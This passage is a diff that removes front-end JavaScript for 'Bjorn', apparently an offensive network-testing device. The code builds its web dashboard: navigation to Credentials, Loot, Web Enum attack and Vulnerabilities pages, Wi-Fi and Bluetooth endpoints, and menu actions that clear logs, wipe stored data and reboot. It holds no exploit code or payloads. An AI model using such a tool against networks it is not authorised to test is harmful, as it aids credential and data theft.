unavailable'; - } - }); -} - function updateCharacter() { - return fetch('/bjorn_character').then(r => { - if (!r.ok) throw new Error(`HTTP ${r.status}`); - return r.blob(); - }).then(b => { - if (!state.el.character) return; - if (state.el.character.src && state.el.character.src.startsWith('blob:')) URL.revokeObjectURL(state.el.character.src); - state.el.character.src = URL.createObjectURL(b); - }).catch(e => console.error('bjorn_character:', e)); - } - - // ------- lifecycle ------- - function init() { - state.el.status = $('#bjornStatus'); - state.el.status2 = $('#bjornStatus2'); - state.el.statusImg = $('#bjornStatusImage'); - state.el.say = $('#bjornSay'); - state.el.character = $('#bjorncharacter'); - // Look for dropdown in the new grid structure - state.el.dropdown = document.querySelector('.status-center .bjorn-dropdown') || - document.querySelector('.status-character .bjorn-dropdown'); - state.el.liveImg = state.el.dropdown ? $('#screenImage_Home', state.el.dropdown) : null; - - ensureDropdown(); - - updateStatus(); updateCharacter(); updateSay(); - setInterval(updateStatus, 5000); - setInterval(updateCharacter, 5000); - setInterval(updateSay, 5000); - } - function refreshAll(){ updateStatus(); updateCharacter(); updateSay(); } - - return { init, refreshAll }; - })(); -})(); - -/* ========================= - * Bjorn Global JS - * ========================= */ -(async function(){ // wrapper async - // Safeguard: wait DOM if script is in without "defer" - if(!document.body){ - await new Promise(r=>document.addEventListener('DOMContentLoaded', r, {once:true})); - } -if (window.__BJORN_QP__) return; -window.__BJORN_QP__ = true; - // ===== Utilities - const $ = s => document.querySelector(s); - const $$ = s => Array.from(document.querySelectorAll(s)); - const el = (tag,attrs={},children=[])=>{ - const n=document.createElement(tag); - for(const [k,v] of Object.entries(attrs)){ - if(k==='class') n.className=v; - else if(k==='style') n.style.cssText=v; - else if(k.startsWith('on')&&typeof v==='function') n.addEventListener(k.slice(2),v); - else if(v!==null&&v!==undefined) n.setAttribute(k,v); - } - if(!Array.isArray(children)) children = children ? [children] : []; - children.forEach(c=> n.append(c?.nodeType?c:document.createTextNode(c))); - return n; - }; - const clamp=(v,min,max)=>Math.max(min,Math.min(max,v)); - const uid = (p='id')=>`${p}-${Math.random().toString(36).slice(2,9)}`; - - // ===== Config loader - async function loadConfig(){ - if(window.BjornConfig) return window.BjornConfig; - try{ const raw = localStorage.getItem('BjornConfig'); if(raw) return JSON.parse(raw); }catch{} - try{ - const res = await fetch('/bjorn.config.json',{cache:'no-store'}); - if(res.ok){ const json = await res.json(); try{ localStorage.setItem('BjornConfig', JSON.stringify(json)); }catch{} return json; } - }catch{} // ok offline/file:// - return {}; - } - const _cfg = await loadConfig(); -const toolbarItems = [ - { path: '/index.html', icon: '/web/images/index.png', alt: 'Bjorn', tooltip: 'Main Bjorn page.', title: 'Bjorn' }, - { path: '/scheduler.html', icon: '/web/images/scheduler.png', alt: 'Icon_config', tooltip: 'Manage scheduled tasks for Bjorn.', title: 'Scheduler' }, - { path: '/network.html', icon: '/web/images/network.png', alt: 'Icon_network', tooltip: 'Visualize current network discoveries.', title: 'Network' }, - { path: '/netkb.html', icon: '/web/images/netkb.png', alt: 'Icon_netkb', tooltip: 'Network Knowledge Base (Bjorn memory).', title: 'NetKB' }, - { path: '/credentials.html', icon: '/web/images/credentials.png', alt: 'Icon_cred', tooltip: 'Credentials found by Bjorn.', title: 'Credentials' }, - { path: '/loot.html', icon: '/web/images/loot.png', alt: 'Icon_loot', tooltip: 'Collected files.', title: 'Loot' }, - { path: '/files_explorer.html', icon: '/web/images/files_explorer.png', alt: 'Icon_bag', tooltip: 'Bjorn Files Explorer', title: 'Files Explorer' }, - { path: '/backup_update.html', icon: '/web/images/backup_update.png', alt: 'Icon_backup', tooltip: 'Backups, restores and updates from GitHub.', title: 'Backup & Update' }, - { path: '/attacks.html', icon: '/web/images/attacks.png', alt: 'Icon_attacks', tooltip: 'Manage comments and icons for actions.', title: 'Actions Management' }, - { path: '/actions_launcher.html', icon: '/web/images/actions_launcher.png', alt: 'Icon_about', tooltip: 'Launch and manage Actions (Experimental).', title: 'Actions Launcher' }, - { path: '/actions_studio.html', icon: '/web/images/actions_studio.png', alt: 'Icon_actions_studio', tooltip: 'Create action scenarios.', title: 'Actions Studio' }, - { path: '/vulnerabilities.html', icon: '/web/images/vulnerabilities.png', alt: 'Icon_vulnerabilities', tooltip: 'Manage vulnerabilities from the UI.', title: 'Vulnerabilities' }, - { path: '/database.html', icon: '/web/images/database.png', alt: 'Icon_settings', tooltip: 'Manage application settings.', title: 'Database' }, - { path: '/zombieland.html', icon: '/web/images/zombieland.png', alt: 'Icon_zombieland', tooltip: 'Explore the Zombieland.', title: 'Zombieland' }, - { path: '/web_enum.html', icon: '/web/images/web_enum.png', alt: 'Icon_webenum', tooltip: 'Web enumeration and attacks.', title: 'Web Enum' } - - -]; - -// --- REST endpoints réels --- -const API = { - // Wi-Fi - scanWifi: '/scan_wifi', - getKnownWifi: '/get_known_wifi', - connectKnown: '/connect_known_wifi', - connectWifi: '/connect_wifi', - updatePriority: '/update_wifi_priority', - deleteKnown: '/delete_known_wifi', - importPotfiles: '/import_potfiles', - // Bluetooth - scanBluetooth: '/scan_bluetooth', - pairBluetooth: '/pair_bluetooth', - trustBluetooth: '/trust_bluetooth', - connectBluetooth: '/connect_bluetooth', - disconnectBluetooth: '/disconnect_bluetooth', - forgetBluetooth: '/forget_bluetooth' -}; - - - - - // merged cfg with toolbarItems - const cfg = Object.assign({ - launcher: true, - pages: toolbarItems.map(item => ({ - href: item.path, - title: item.title, - icon: item.icon, - alt: item.alt, - tooltip: item.tooltip - })), - shortcuts: { - console: { ctrl:true, key:'`' }, - quickpanel:{ ctrl:true, key:'\\' } - } - }, _cfg || {}); - - // ===== Ensure scanlines overlay - if(!$('.scanlines')) document.body.appendChild(el('div',{class:'scanlines'})); - -// ---- Mode pill styles (Auto/Manual) -(() => { - if (document.getElementById('modePillStyles')) return; - const st = document.createElement('style'); - st.id = 'modePillStyles'; - st.textContent = ` - .mode-pill{ - display:inline-flex;align-items:center;gap:6px; - padding:4px 10px;border-radius:999px;border:1px solid; - font-size:12px;line-height:1;font-weight:600; - letter-spacing:.2px;user-select:none; - } - .mode-pill .dot{width:8px;height:8px;border-radius:50%;} - .mode-pill.auto{ - background: rgba(0,255,154,.15); border-color: rgba(0,255,154,.45); color: var(--acid,#00ff9a); - } - .mode-pill.auto .dot{ background: var(--acid,#00ff9a); box-shadow:0 0 8px var(--acid,#00ff9a);} - .mode-pill.manual{ - background: rgba(24,144,255,.15); border-color: rgba(24,144,255,.45); color: #57a9ff; - } - .mode-pill.manual .dot{ background:#57a9ff; box-shadow:0 0 8px #57a9ff; } - `; - document.head.appendChild(st); -})(); - -(() => { - if (document.getElementById('consoleFontStyles')) return; - const st = document.createElement('style'); - st.id = 'consoleFontStyles'; - st.textContent = ` - .console-head{ display:flex; align-items:center; gap:8px; flex-wrap:wrap; } - .console-fontrow{ - flex-basis:100%; - display:flex; justify-content:flex-end; align-items:center; - padding-top:2px; margin-top:2px; - } - .console-fontrow input[type="range"]{ - width:-webkit-fill-available; height:2px; border-radius:999px; outline:0; - -webkit-appearance:none; appearance:none; - background: - linear-gradient(var(--acid, #00ff9a), var(--acid, #00ff9a)) 0/50% 100% no-repeat, - rgba(255,255,255,.08); - } - .console-fontrow input[type="range"]::-webkit-slider-thumb{ - -webkit-appearance:none; appearance:none; - width:10px; height:10px; border-radius:50%; - background:var(--acid,#00ff9a); box-shadow:0 0 8px var(--acid,#00ff9a); - margin-top:-4px; /* centre sur piste 2px */ - } - .console-fontrow input[type="range"]::-moz-range-thumb{ - width:10px; height:10px; border-radius:50%; - background:var(--acid,#00ff9a); box-shadow:0 0 8px var(--acid,#00ff9a); - border:0; - } - .sr-only{ position:absolute; width:1px; height:1px; padding:0; margin:-1px; - overflow:hidden; clip:rect(0,0,0,0); white-space:nowrap; border:0; } - `; - document.head.appendChild(st); -})(); -(() => { - if (document.getElementById('consoleFontFollowStyles')) return; - const st = document.createElement('style'); - st.id = 'consoleFontFollowStyles'; - st.textContent = ` - /* La console entière suit --console-font (fallback 12px) */ - #console .console-body, #console #logout { - font-size: var(--console-font, 12px); - line-height: 1.3; - } - - /* Les badges de niveau suivent la taille (em) */ - #console .loglvl{ - font-size: 0.92em; /* ← suit la taille */ - line-height: 1; - padding: .15em .55em; - border-radius: .8em; - display: inline-inline; - vertical-align: baseline; - } - - /* Autres spans ajoutés au vol : qu’ils héritent aussi */ - #console .logfile, - #console .number, - #console .line-number{ - font-size: 1em; /* hérite */ - } - `; - document.head.appendChild(st); -})(); - -/* ========================================================= - Actions Dropdown — Dynamic build + legacy actions wiring - Language: EN - Uses window.Bjorn.toast (fallback to global toast) - ========================================================= */ - -// ---------- 1) Dropdown items ---------- -const dropdownItems = [ - { action: 'restart_bjorn_service', text: 'Restart Bjorn Service 🔄', tooltip: 'Restart the Bjorn service to refresh its state.' }, - { action: 'remove_All_Actions', text: 'Delete all actions status', tooltip: 'Delete all recorded success & failed actions/attacks statuses in netkb.csv.' }, - { action: 'clear_output_folder', text: 'Clear Output folder', tooltip: 'Erase all files from the data/output folders & subdirectories.' }, - { action: 'clear_logs', text: 'Clear Logs', tooltip: 'Delete all log files from the system. (data/log/Bjorn.log)' }, - { action: 'reload_images', text: 'Reload Images (Experimental Buggy)', tooltip: 'Reload images used by the system. (Experimental feature, Bjorn service can be stuck).' }, - { action: 'reload_fonts', text: 'Reload Fonts', tooltip: 'Reload font assets for the application.' }, - { action: 'reload_generate_actions_json', text: 'Reload Generate Actions JSON', tooltip: 'Reload the Generate Actions JSON file.' }, - { action: 'initialize_csv', text: 'Initialize CSV files', tooltip: 'Recreate the CSV & JSON files: Netkb, Livestatus, Actions.' }, - { action: 'clear_livestatus', text: 'Delete Livestatus file 🔄', tooltip: 'Delete the current live status file (live stats on e-ink).' }, - { action: 'clear_actions_file', text: 'Refresh Actions file 🔄', tooltip: 'Refresh the actions file to take into account new actions.' }, - { action: 'clear_netkb', text: '⚠️ Clear Network Knowledge Base ⚠️ 🔄', tooltip: 'Clear all saved network knowledge base information.' }, - { action: 'clear_shared_config_json', text: '⚠️ Delete Shared Config JSON ⚠️ 🔄', tooltip: 'Delete the shared configuration JSON file. Defaults will be recreated.' }, - { action: 'erase_bjorn_memories', text: '⚠️ Erase Bjorn Memories ⚠️ 🔄', tooltip: 'Completely erase Bjorn memories and settings.' }, - { action: 'reboot_system', text: 'Reboot System', tooltip: 'Restart the entire system.' }, - { action: 'shutdown_system', text: 'Shutdown System', tooltip: 'Power down the system.' }, - // { action: 'logout', text: 'Logout', tooltip: 'Logout from the current session. (Upcoming in next releases)' } -]; - -// ---------- 2) Legacy action functions (standardized with toast) ---------- -const toast = (msg, ms=2600) => - (typeof window.toast === 'function' ? window.toast(msg, ms) : window.Bjorn?.toast?.(msg, ms)); - -const actionFunctions = { - // --- Delete/cleanup actions --- - remove_All_Actions: function (ip) { - const confirmRemoval = confirm(`Are you sure you want to remove all actions status?`); - if (!confirmRemoval) return; - fetch('/delete_all_actions', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ip }) - }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - console.log(d.message); - toast(d.message || 'All action statuses removed.'); - try { fetchNetkbData?.(); } catch {} - } else { - console.error(d.message); toast(d.message || 'Failed to remove actions.'); - } - }) - .catch(e => { console.error(e); toast(`Error: ${e.message || e}`); }); - }, - - clear_output_folder: function () { - const confirmRemoval = confirm(`Are you sure you want to clear the data in the output folder?`); - if (!confirmRemoval) return; - fetch('/clear_output_folder', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({}) }) - .then(r => r.json()) - .then(d => d.status === 'success' ? toast(d.message || 'Output cleared.') : toast(d.message || 'Failed to clear output.')) - .catch(e => { console.error(e); toast('Error clearing output folder.'); }); - }, - - clear_logs: function () { - const confirmClear = confirm(`Are you sure you want to clear the logs?`); - if (!confirmClear) return; - fetch('/clear_logs', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => d.status === 'success' ? toast(d.message || 'Logs cleared.') : toast(d.message || 'Failed to clear logs.')) - .catch(e => { console.error(e); toast('Error clearing logs.'); }); - }, - - // --- Cleanup with restart suggestions --- -clear_netkb: function () { - const confirmRemoval = confirm( - 'Warning: This will clear the entire Network Knowledge Base (NetKB). This action is irreversible. Service restart is recommended. Proceed?' - ); - if (!confirmRemoval) return; - - fetch('/clear_netkb', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - toast(d.message || 'NetKB cleared.'); - if (confirm('Service restart is recommended. Restart now?')) actionFunctions.rst_withoutconfirm_bjorn_svc(); - } else { - toast(d.message || 'Failed to clear NetKB.'); - } - }) - .catch(e => { console.error(e); toast('Error clearing NetKB.'); }); -}, - - clear_livestatus: function () { - const confirmClear = confirm(`Are you sure you want to clear the LiveStatus (service restart recommended)?`); - if (!confirmClear) return; - fetch('/clear_livestatus', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - toast(d.message || 'Livestatus cleared.'); - if (confirm(`Service restart is recommended. Restart now?`)) actionFunctions.rst_withoutconfirm_bjorn_svc(); - } else { toast(d.message || 'Failed to clear Livestatus.'); } - }) - .catch(e => { console.error(e); toast('Error clearing Livestatus.'); }); - }, - - clear_actions_file: function () { - const confirmClear = confirm(`Are you sure you want to clear the Actions File (service restart recommended)?`); - if (!confirmClear) return; - fetch('/clear_actions_file', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - toast(d.message || 'Actions file cleared.'); - if (confirm(`Service restart is recommended. Restart now?`)) actionFunctions.rst_withoutconfirm_bjorn_svc(); - } else { toast(d.message || 'Failed to clear actions file.'); } - }) - .catch(e => { console.error(e); toast('Error clearing actions file.'); }); - }, - - clear_shared_config_json: function () { - const confirmClear = confirm(`Are you sure you want to delete the Shared Config JSON (service restart recommended)?`); - if (!confirmClear) return; - fetch('/clear_shared_config_json', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - toast(d.message || 'Shared config JSON deleted.'); - if (confirm(`Defaults will be recreated. Restart service now?`)) actionFunctions.rst_withoutconfirm_bjorn_svc(); - } else { toast(d.message || 'Failed to delete shared config JSON.'); } - }) - .catch(e => { console.error(e); toast('Error deleting shared config JSON.'); }); - }, - - erase_bjorn_memories: function () { - const confirmErase = confirm(`Are you sure you want to erase Bjorn's memories? This is irreversible. Restart recommended.`); - if (!confirmErase) return; - fetch('/erase_bjorn_memories', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => { - if (d.status === 'success') { - toast(d.message || `Bjorn's memories erased.`); - if (confirm(`Restart the service now?`)) actionFunctions.rst_withoutconfirm_bjorn_svc(); - } else { toast(d.message || 'Failed to erase memories.'); } - }) - .catch(e => { console.error(e); toast('Error erasing memories.'); }); - }, - - // --- Service actions --- - restart_bjorn_service: function () { - const confirmRestart = confirm(`Are you sure you want to restart the Bjorn service?`); - if (!confirmRestart) return; - fetch('/restart_bjorn_service', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => d.status === 'success' ? toast(d.message || 'Service restarted.') : toast(d.message || 'Failed to restart service.')) - .catch(e => { console.error(e); toast('Error restarting service.'); }); - }, - - rst_withoutconfirm_bjorn_svc: function () { - fetch('/restart_bjorn_service', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => d.status === 'success' ? toast(d.message || 'Service restarted.') : toast(d.message || 'Failed to restart service.')) - .catch(e => { console.error(e); toast('Error restarting service.'); }); - }, - - // --- System actions --- - reboot_system: function () { - const confirmReboot = confirm(`Are you sure you want to reboot the system?`); - if (!confirmReboot) return; - fetch('/reboot_system', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => d.status === 'success' ? toast(d.message || 'System rebooting...') : toast(d.message || 'Failed to reboot.')) - .catch(e => { console.error(e); toast('Error requesting reboot.'); }); - }, - - shutdown_system: function () { - const confirmShutdown = confirm(`Are you sure you want to shutdown the system?`); - if (!confirmShutdown) return; - fetch('/shutdown_system', { method: 'POST' }) - .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - .then(d => d.status === 'success' ? toast(d.message || 'System shutting down...') : toast(d.message || 'Failed to shutdown.')) - .catch(e => { console.error(e); toast('Error requesting shutdown.'); }); - }, - - // logout: function () { - // const confirmLogout = confirm(`Are you sure you want to logout?`); - // if (!confirmLogout) return; - // fetch('/logout', { method: 'POST' }) - // .then(r => { if (!r.ok) throw new Error(`HTTP ${r.status}`); return r.json(); }) - // .then(d => { - // if (d.status === 'success') { - // toast(d.message || 'Logged out.'); - // window.location.href = '/login'; - // } else { toast(d.message || 'Failed to logout.'); } - // }) - // .catch(e => { console.error(e); toast('Error during logout.'); }); - // }, - - // --- Reload/init actions --- - initialize_csv: function () { - fetch('/initialize_csv', { method: 'POST' }) - .then(r => r.json()) - .then(d => d.status === 'success' ? toast('CSV initialized successfully.') : toast(`Error initializing CSV: ${d.message || ''}`)) - .catch(e => { console.error(e); toast('An error occurred while initializing CSV.'); }); - }, - - reload_generate_actions_json: function () { - fetch('/reload_generate_actions_json', { method: 'POST' }) - .then(r => r.json()) - .then(d => d.status === 'success' ? toast('Generate Actions JSON reloaded successfully.') : toast(`Error reloading Generate Actions JSON: ${d.message || ''}`)) - .catch(e => { console.error(e); toast('An error occurred while reloading Generate Actions JSON.'); }); - }, - - reload_images: function () { - fetch('/reload_images', { method: 'POST' }) - .then(r => r.json()) - .then(d => d.status === 'success' ? toast('Images reloaded successfully.') : toast(`Error reloading images: ${d.message || ''}`)) - .catch(e => { console.error(e); toast('An error occurred while reloading images.'); }); - }, - - reload_fonts: function () { - fetch('/reload_fonts', { method: 'POST' }) - .then(r => r.json()) - .then(d => d.status === 'success' ? toast('Fonts reloaded successfully.') : toast(`Error reloading fonts: ${d.message || ''}`)) - .catch(e => { console.error(e); toast('An error occurred while reloading fonts.'); }); - } -}; - -// ---------- 3) Optional legacy API helpers (ported to toast) ---------- -window.Bjorn = window.Bjorn || {}; -Bjorn.ApiActions = Bjorn.ApiActions || (function () { - const json = (url, opt = { method: 'POST' }) => fetch(url, opt).then(r => r.json()); - const alertErr = (prefix) => (e) => toast(`${prefix}: ${e.message || e}`); - - function clearFiles() { json('/clear_files').then(d => toast(d.message)).catch(alertErr('Failed to clear files')); } - function clearFilesLight() { json('/clear_files_light').then(d => toast(d.message)).catch(alertErr('Failed to clear files')); } - function reboot() { json('/reboot').then(d => toast(d.message)).catch(alertErr('Failed to reboot')); } - function shutdown() { json('/shutdown').then(d => toast(d.message)).catch(alertErr('Failed to shutdown')); } - function restartService() { json('/restart_bjorn_service').then(d => toast(d.message)).catch(alertErr('Failed to restart service')); } - function backup() { - json('/backup').then(d => { - if (d.status === 'success') { - const a = document.createElement('a'); a.href = d.url; a.download = d.filename; a.click(); - toast('Backup completed successfully'); - } else { toast('Backup failed: ' + d.message); } - }).catch(alertErr('Backup failed')); - } - function restore() { - const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.zip'; - inp.onchange = () => { - const f = inp.files[0]; const fd = new FormData(); fd.append('file', f); - fetch('/restore', { method: 'POST', body: fd }) - .then(r => r.json()).then(d => toast(d.message)) - .catch(alertErr('Restore failed')); - }; - inp.click(); - } - function stopOrch() { fetch('/stop_orchestrator', { method: 'POST' }).catch(e => console.error('stop_orchestrator:', e)); } - function startOrch() { fetch('/start_orchestrator', { method: 'POST' }).catch(e => console.error('start_orchestrator:', e)); } - function disconnectWifi() { json('/disconnect_wifi').then(d => toast(d.message)).catch(alertErr('Failed to disconnect')); } - function initCSV() { json('/initialize_csv').then(d => toast(d.message)).catch(alertErr('Failed to initialize CSV')); } - - return { clearFiles, clearFilesLight, reboot, shutdown, restartService, backup, restore, startOrch, stopOrch, disconnectWifi, initCSV }; -})(); - -// ---------- 4) Topbar (dynamic actions menu built from dropdownItems) ---------- -let topbar = $('.topbar'); -if (!topbar) { - topbar = el('header', { class: 'topbar' }, [ - // Logo cliquable → /bjorn.html - el('div', { class: 'logo', id: 'logoBtn', role: 'button', tabindex: '0', style: 'cursor:pointer' }, [ - el('img', { class: 'sig', src: '/web/images/bjornwebicon.png', alt: 'Bjorn' }), - 'BJORN' - ]), - - $('#sidebar') && el('button', { class: 'btn', id: 'toggleSidebar' }, [ - el('span', { class: 'icon' }, '📂'), - el('span', { class: 'label' }, 'Sidebar') - ]), - el('button', { class: 'btn', id: 'openSettings' }, [ - el('span', { class: 'icon' }, '⚙️'), - el('span', { class: 'label' }, 'Settings') - ]), - el('button', { class: 'btn', id: 'openQuick' }, [ - el('span', { class: 'icon' }, '⚡'), - el('span', { class: 'label' }, 'Shortcuts') - ]), - el('div', { class: 'spacer' }), - - (function () { - const wrap = el('div', { class: 'actions', id: 'actionsWrap' }); - const btn = el('button', { class: 'btn', id: 'actionsBtn', 'aria-haspopup': 'true', 'aria-expanded': 'false', 'aria-controls': 'actionsMenu' }, [ - el('span', { class: 'icon' }, '🛠️'), - el('span', { class: 'label' }, 'Actions') - ]); - const menu = el('div', { class: 'dropdown', id: 'actionsMenu', role: 'menu', 'aria-hidden': 'true' }, []); - - dropdownItems.forEach(it => { - menu.append( - el('div', { - class: 'menuitem', - role: 'menuitem', - tabindex: '-1', - 'data-action': it.action, - title: it.tooltip - }, [ - el('span', { class: 'mi-icon' }, ''), - it.text - ]) - ); - }); - - wrap.append(btn, menu); - return wrap; - })(), - - el('button', { class: 'btn', id: 'openLauncher' }, [ - el('span', { class: 'icon' }, '🧭'), - el('span', { class: 'label' }, 'Pages') - ]) - - ].filter(Boolean)); // <<< removes null/false - - document.body.appendChild(topbar); - - // Redirection au clic (et accessibilité clavier) - const logoBtn = topbar.querySelector('#logoBtn'); - if (logoBtn) { - const go = () => (location.href = '/bjorn.html'); - logoBtn.addEventListener('click', go); - logoBtn.addEventListener('keydown', (e) => { - if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); go(); } - }); - } -} - -// ---------- 5) Dropdown behavior (pointer events, sticky mobile, no double tap) ---------- -const actionsWrap = $('#actionsWrap'); -const actionsBtn = $('#actionsBtn'); -const actionsMenu = $('#actionsMenu'); -const topbarEl = document.querySelector('.topbar'); - -function placeActionsMenu() { - if (!actionsMenu) return; - const tb = topbarEl?.getBoundingClientRect(); - const top = Math.round((tb?.bottom ?? 0)) - 1; - actionsMenu.style.top = top + 'px'; - actionsMenu.style.left = '50%'; - actionsMenu.style.transform = 'translateX(-50%)'; -} - -const isMenuOpen = () => actionsMenu?.classList.contains('show'); -let actionsSticky = false; - -function setActionsOpen(show, { sticky } = {}) { - actionsSticky = !!sticky; - actionsMenu?.classList.toggle('show', show); - actionsMenu?.setAttribute('aria-hidden', String(!show)); - actionsBtn?.setAttribute('aria-expanded', String(show)); - if (show) { - placeActionsMenu(); - actionsMenu.querySelector('.menuitem')?.focus(); - } -} - -// 1) Hover seulement sur appareils qui *supportent* le hover (desktop) -const supportsHover = window.matchMedia('(hover: hover)').matches; -if (supportsHover) { - let hoverTimer = null; - actionsWrap?.addEventListener('mouseenter', () => { - clearTimeout(hoverTimer); - setActionsOpen(true, { sticky: false }); - }); - actionsWrap?.addEventListener('mouseleave', () => { - if (actionsSticky) return; - hoverTimer = setTimeout(() => setActionsOpen(false), 150); - }); -} - -// 2) Toggle via *pointerup* (tactile & souris). On avale le click synthétique après un touch. -let swallowNextClick = false; -actionsBtn?.addEventListener('pointerup', (e) => { - // Sur tactile/stylet : éviter le click synthétique qui suit le touchend - if (e.pointerType !== 'mouse') { - e.preventDefault(); - e.stopPropagation(); - swallowNextClick = true; - } - const open = !isMenuOpen(); - setActionsOpen(open, { sticky: open }); -}); - -// Avale le click synthétique post-touch -actionsBtn?.addEventListener('click', (e) => { - if (swallowNextClick) { - swallowNextClick = false; - e.preventDefault(); - e.stopPropagation(); - } -}); - -// 3) Fermer en *pointerdown* à l’extérieur (plus fiable que touchend/click) -document.addEventListener('pointerdown', (e) => { - if (!isMenuOpen()) return; - if (!actionsWrap?.contains(e.target)) setActionsOpen(false); -}, true); - -// 4) Clavier (ESC + navigation) -document.addEventListener('keydown', (e) => { - if (!isMenuOpen()) return; - if (e.key === 'Escape') { setActionsOpen(false); return; } - - const items = [...actionsMenu.querySelectorAll('.menuitem')]; - const idx = items.indexOf(document.activeElement); - if (e.key === 'ArrowDown') { e.preventDefault(); (items[(idx + 1 + items.length) % items.length] || items[0])?.focus(); } - if (e.key === 'ArrowUp') { e.preventDefault(); (items[(idx - 1 + items.length) % items.length] || items[items.length - 1])?.focus(); } - if (e.key === 'Home') { e.preventDefault(); items[0]?.focus(); } - if (e.key === 'End') { e.preventDefault(); items[items.length - 1]?.focus(); } - if (e.key === 'Enter' || e.key === ' ') { - const el = document.activeElement; - if (el?.classList.contains('menuitem')) el.click(); - } -}); - -window.addEventListener('resize', () => { if (isMenuOpen()) placeActionsMenu(); }); -window.addEventListener('scroll', () => { if (isMenuOpen()) placeActionsMenu(); }, { passive: true }); - - - - - // ===== Adaptive texts (right + left), live-resizing and content updates - function fitTextById(id, {max=12, min=7} = {}) { - const el = document.getElementById(id); - if (!el) return; - const box = el.parentElement || el; - let size = max; - el.style.fontSize = size + 'px'; - const maxH = parseFloat(getComputedStyle(el).maxHeight) || Infinity; - - // downscale while overflowing width or max height - while ((el.scrollWidth > box.clientWidth || el.scrollHeight > maxH) && size > min) { - size--; - el.style.fontSize = size + 'px'; - } - } - function runFooterFit(){ - fitTextById('bjornStatus', {max:12, min:7}); - fitTextById('bjornSay', {max:12, min:7}); - fitTextById('bjornStatus2',{max:12, min:7}); - } - - // ===== Bottombar (Grid layout for proper centering) - let bottombar = $('.bottombar'); - if (!bottombar) { - // 3-column grid layout: left | center | right - bottombar = el('footer', { class: 'bottombar', id: 'bottombar' }, [ - - // LEFT -// LEFT -el('div', { class: 'status-left' }, [ - el('span', { class: 'pill status-pill', style: 'display:inline-flex;align-items:center;gap:6px' }, [ - el('img', { id: 'bjornStatusImage', alt: 'Status image', style: 'width:40px;height:40px;border-radius:6px;background:#222;flex:0 0 auto' }) - ]), - // ⬇️ wrapper that stacks the two lines - el('div', { class: 'status-text' }, [ - el('div', { id: 'bjornStatus', class: 'bjorn-status' }, 'Initializing...'), - el('div', { id: 'bjornStatus2', class: 'bjorn-status2' }, '.') - ]) -]), - - // CENTER (grid column, not absolute) - el('div', { class: 'status-center' }, [ - el('span', { class: 'status-character' }, [ - el('img', { id: 'bjorncharacter', alt: 'Bjorn', style: 'width:50px;height:50px;border-radius:6px;cursor:pointer;flex-shrink:0' }) - ]) - ]), - - // RIGHT - el('div', { class: 'status-right' }, [ - el('span', { id: 'bjornSay', class: 'bjorn-say' }, 'Do bots get existential crises? Asking for a friend.'), - - ]) - - ]); - document.body.appendChild(bottombar); - - // init topbar widget - if (window.BjornUI?.BjornTopbar?.init) { - BjornUI.BjornTopbar.init(); - } - } - - // live fit on load & resize - window.addEventListener('load', runFooterFit); - window.addEventListener('resize', runFooterFit); - - // observe size changes of columns and content changes - (function setupFooterObservers(){ - const left = document.querySelector('.status-left'); - const right = document.querySelector('.status-right'); - const ro = new ResizeObserver(runFooterFit); - left && ro.observe(left); - right && ro.observe(right); -['bjornStatus','bjornSay','bjornStatus2'].forEach(id=>{ - const el = document.getElementById(id); - if (!el) return; - ro.observe(el); - new MutationObserver(runFooterFit).observe(el, { childList:true, characterData:true, subtree:true }); - }); - const imgs = [document.getElementById('bjornStatusImage'), document.getElementById('bjorncharacter')]; - imgs.forEach(img=>{ - if (!img) return; - if (img.complete) runFooterFit(); - else img.addEventListener('load', runFooterFit, { once:true }); - }); - })(); - - // ===== Generic modal (for Wi-Fi/Bluetooth prompts) - let sysBackdrop = $('#sysDialogBackdrop'); - if(!sysBackdrop){ - sysBackdrop = el('div',{class:'modal-backdrop',id:'sysDialogBackdrop','aria-hidden':'true'}); - document.body.appendChild(sysBackdrop); - } - const sysDialog = { - open(contentHTML, onSubmit){ - sysBackdrop.innerHTML=''; - const content = el('div',{class:'modal',role:'dialog','aria-modal':'true','aria-label':'System dialog'}); - content.innerHTML = contentHTML; - sysBackdrop.appendChild(content); - sysBackdrop.style.display='flex'; - setTimeout(()=>content.classList.add('show'),0); - sysBackdrop.setAttribute('aria-hidden','false'); - - const form = content.querySelector('form'); - const cancel = content.querySelector('[data-cancel]'); - const close = ()=>{ sysBackdrop.style.display='none'; sysBackdrop.setAttribute('aria-hidden','true'); }; - cancel?.addEventListener('click',(e)=>{ e.preventDefault(); close(); }); - form?.addEventListener('submit',(e)=>{ - e.preventDefault(); - const fd = new FormData(form); - const data = Object.fromEntries(fd.entries()); - onSubmit?.(data, close); - }); - sysBackdrop.addEventListener('click',e=>{ if(e.target===sysBackdrop) close(); },{once:true}); - document.addEventListener('keydown',function esc(e){ if(e.key==='Escape'){ close(); document.removeEventListener('keydown',esc); }},{once:true}); - } - }; - - - -(async function(){ - // Safeguard: wait DOM if script is in without "defer" - if(!document.body){ - await new Promise(r=>document.addEventListener('DOMContentLoaded', r, {once:true})); - } -if 